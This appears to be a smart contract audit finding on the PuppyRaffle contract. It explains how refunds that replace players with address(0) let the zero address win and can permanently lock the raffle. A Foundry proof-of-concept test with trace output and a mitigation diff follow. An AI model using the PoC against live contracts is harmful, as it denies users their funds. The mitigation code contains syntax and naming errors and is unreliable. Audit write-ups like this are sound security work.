When a player calls PuppyRaffle::refund, if successful, the player's address is replaced with address(0) in the player array. This means that address(0) now has a seat in the raffle and therefore a non-zero chance of winning.
Vulnerability Details
In PuppyRffle::refund, on line 103, the refunding address is replaced with address(0) in the players array when a player refunds:
players[playerIndex] = address(0);
When selectWinner() is subsequently called, there is a chance that none of the players will win as address(0) can now win the raffle.
Impact
address(0) can win the raffle. There is also a situation in which no one can win the raffle since four players enter, all four call refund() meaning that no other players can enter (see issue "Denial of service in PuppyRaffle::enterRaffle if > 2 refunds have occurred"). selectWinner() can still be called but address(0) has 100% chance of winning since it occupies every seat in the raffle and this will result in a DoS as address(0) cannot receive funds. This is a permanent state of DoS since address(0) will win every time but selectWinner() will always revert. No one else can enter the lottery, no one can ever win, meaning that the contract can no longer function.
The zero-address winning the lottery means that selectWinner() will need to be called again and a new winner drawn, this is, therefore, a medium-severity vulnerability.
Proof of Concept
Working Test Case
The following test demonstrates that if four players enter the raffle and all four call refund(), the winner of the raffle will always be address(0), enterRaffle() will revert, and selectWinner() will revert:
function test_poc_zeroAddressWinLottery() public playersEntered {
address[] memory players = new address[](2);
players[0] = playerThree;
players[1] = playerTwo;
for (uint256 i = 0; i < 4; i++) {
address player = address(i+1);
vm.prank(player);
puppyRaffle.refund(i);
}
vm.warp(block.timestamp + duration + 1);
vm.roll(block.number + 1);
vm.expectRevert("PuppyRaffle: Failed to send prize pool to winner");
puppyRaffle.selectWinner();
vm.expectRevert("PuppyRaffle: Duplicate player");
puppyRaffle.enterRaffle{value: entranceFee * 2}(players);
}
As expected, the test passes, demonstrating that the contract can no longer function as expected and enterRaffle() and selectWinner() are in a permanent state of DoS:
$ forge test --mt test_poc_zeroAddressWinLottery -vvvv
// output
Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest
[PASS] test_poc_zeroAddressWinLottery() (gas: 337416)
Traces:
[341628] PuppyRaffleTest::test_poc_zeroAddressWinLottery()
├─ [121273] PuppyRaffle::enterRaffle{value: 4000000000000000000}([0x0000000000000000000000000000000000000001, 0x0000000000000000000000000000000000000002, 0x0000000000000000000000000000000000000003, 0x0000000000000000000000000000000000000004])
│ ├─ emit RaffleEnter(newPlayers: [0x0000000000000000000000000000000000000001, 0x0000000000000000000000000000000000000002, 0x0000000000000000000000000000000000000003, 0x0000000000000000000000000000000000000004])
│ └─ ← ()
├─ [0] VM::prank(0x0000000000000000000000000000000000000001)
│ └─ ← ()
├─ [29749] PuppyRaffle::refund(0)
│ ├─ [3000] PRECOMPILE::ecrecover{value: 1000000000000000000}()
│ │ └─ ←
│ ├─ emit RaffleRefunded(player: 0x0000000000000000000000000000000000000001)
│ └─ ← ()
├─ [0] VM::prank(0x0000000000000000000000000000000000000002)
│ └─ ← ()
├─ [27458] PuppyRaffle::refund(1)
│ ├─ [60] PRECOMPILE::sha256{value: 1000000000000000000}()
│ │ └─ ← 0xe3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
│ ├─ emit RaffleRefunded(player: 0x0000000000000000000000000000000000000002)
│ └─ ← ()
├─ [0] VM::prank(0x0000000000000000000000000000000000000003)
│ └─ ← ()
├─ [27890] PuppyRaffle::refund(2)
│ ├─ [600] PRECOMPILE::ripemd{value: 1000000000000000000}()
│ │ └─ ← 0x0000000000000000000000009c1185a5c5e9fc54612808977ee8f548b2258d31
│ ├─ emit RaffleRefunded(player: 0x0000000000000000000000000000000000000003)
│ └─ ← ()
├─ [0] VM::prank(0x0000000000000000000000000000000000000004)
│ └─ ← ()
├─ [27361] PuppyRaffle::refund(3)
│ ├─ [15] PRECOMPILE::identity{value: 1000000000000000000}()
│ │ └─ ←
│ ├─ emit RaffleRefunded(player: 0x0000000000000000000000000000000000000004)
│ └─ ← ()
├─ [0] VM::warp(86402 [8.64e4])
│ └─ ← ()
├─ [0] VM::roll(2)
│ └─ ← ()
├─ [0] VM::expectRevert(PuppyRaffle: Failed to send prize pool to winner)
│ └─ ← ()
├─ [60652] PuppyRaffle::selectWinner()
│ ├─ [0] 0x0000000000000000000000000000000000000000::fallback{value: 3200000000000000000}()
│ │ └─ ← "EvmError: OutOfFund"
│ └─ ← "PuppyRaffle: Failed to send prize pool to winner"
├─ [0] VM::expectRevert(PuppyRaffle: Duplicate player)
│ └─ ← ()
├─ [46757] PuppyRaffle::enterRaffle{value: 2000000000000000000}([0x0000000000000000000000000000000000000003, 0x0000000000000000000000000000000000000002])
│ └─ ← "PuppyRaffle: Duplicate player"
└─ ← ()
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.39ms
Recommended Mitigation
To mitigate this issue, including a second array that contains a mapping of address to boolean determining whether the player is active or not and set this boolean when calling refund() rather than setting the refunding address to address(0):
+ mapping(address->bool) activityStatus;
function enterRaffle(address[] memory newPlayers) public payable {
require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to enter raffle");
for (uint256 i = 0; i < newPlayers.length; i++) {
+ require(activityStatus(newPlayers[i]) == false, "Player already exists)
activityStatus[newPlayers[i]] = true;
players.push(newPlayers[i]);
}
- for (uint256 i = 0; i < players.length - 1; i++) {
- for (uint256 j = i + 1; j < players.length; j++) {
- require(players[i] != players[j], "PuppyRaffle: Duplicate player");
- }
- }
emit RaffleEnter(newPlayers);
}
To refund(), the activityStatus will be set to false for the refunding address.
Since getActivePlayerIndex() is only used externally so that the value can be used to call refund(), getActivePlayerIndex() can be removed and refund() modified to take an address:
+ function refund(address playeraddress) public {
- address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
+ require(activityStatus[playerAddress] == true, "PuppyRaffle: Player already refunded, or is not active");
- players[playerIndex] = address(0);
+ activityStatus[playerAddress] = false;
+ payable(msg.sender).sendValue(entranceFee);
emit RaffleRefunded(playerAddress);
}
When drawing the winner, the players activity status can be checked, and only allow active players to be drawn as the winner.
Tools Used
